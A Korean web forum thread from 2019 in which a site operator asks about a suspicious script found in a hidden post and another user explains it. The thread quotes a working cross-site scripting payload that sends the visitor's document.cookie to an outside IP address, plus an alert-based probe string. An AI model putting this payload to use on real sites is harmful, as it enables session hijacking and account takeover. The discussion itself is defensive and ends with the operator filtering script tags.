김제연 2019-04

실행은 되나요?
var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://27.255.72.13/index.php?cookie='+encodeURIComponent(document.cookie);

만약 스크립트가 실행되면 쿠키가 .. 저 사이트로 요청되고 .. 만약 관리자 로그인 상태에서 저 스크립트가 실행되면..
관리자 쿠키 설정하고 .. 다시 사이트 들어오면 관리자로 로그인된 상태에서 들어오는거죠 .

허인구마틴 2019-04

감사합니다.
실행은 되지 않습니다.

아~~~ 이제야  알겠습니다.

저놈이 비밀글로 해놓았더군요.
일반인이 아닌 관리자만  클릭하여 관리자 로그인이 되려고 하는 것이군요.

그래서
관리자가 클릭하여 저것이 실행이 되면 관리자 쿠키가 탈취되어  관리자가 되는 원리이군요.
아주 나쁜놈이네요.

허인구마틴 2019-04

그냥 저것이 궁금해서
그 주소만 크롬 주소창에 넣고 실행해봤습니다.
그것으로 인해 발생할 위험요소는 없는가요?

김제연 2019-04

크롬 개발자 도구로 봤더니 js 이후
다른 요청이 없는걸로 봐선 실행은 <script> 안쪽에서 해야 하는듯합니다.
전혀 문제 없을듯 합니다.

그리고 실행이 되더라도 .. 쿠키는 그 사이트의 쿠키만 접근 할 수 있어서
서버에서 실행되지 않는한 아무 의미가 없습니다..
2cpu 게시판에 저런게 올라왔으면 2cpu 쿠키만 털립니다.

걍 주소입력으로 한건.. 사이트가 자기네 사이트기때문에 .. 쿠키값이 없겠죠.

김제연 2019-04

요즘 게시판 같은데서 다 걸러주긴 하는데 .. 제목이나
본문에
<script>alert('hello')</script>
이걸로 몇군데 테스트 해보세요.

허인구마틴 2019-04

아~ 감사합니다.
무슨 뜻인지 알겠습니다.
<script>  단어는 무조건  &lt;script&gt; 으로 변경해야 겠습니다.

허인구마틴 2019-04

원래부터 차단이 되어 있었는데...
관리자 등급이라 하더라도 저런 스크립트는 불량 스크립트이므로 완전이 차단하였습니다.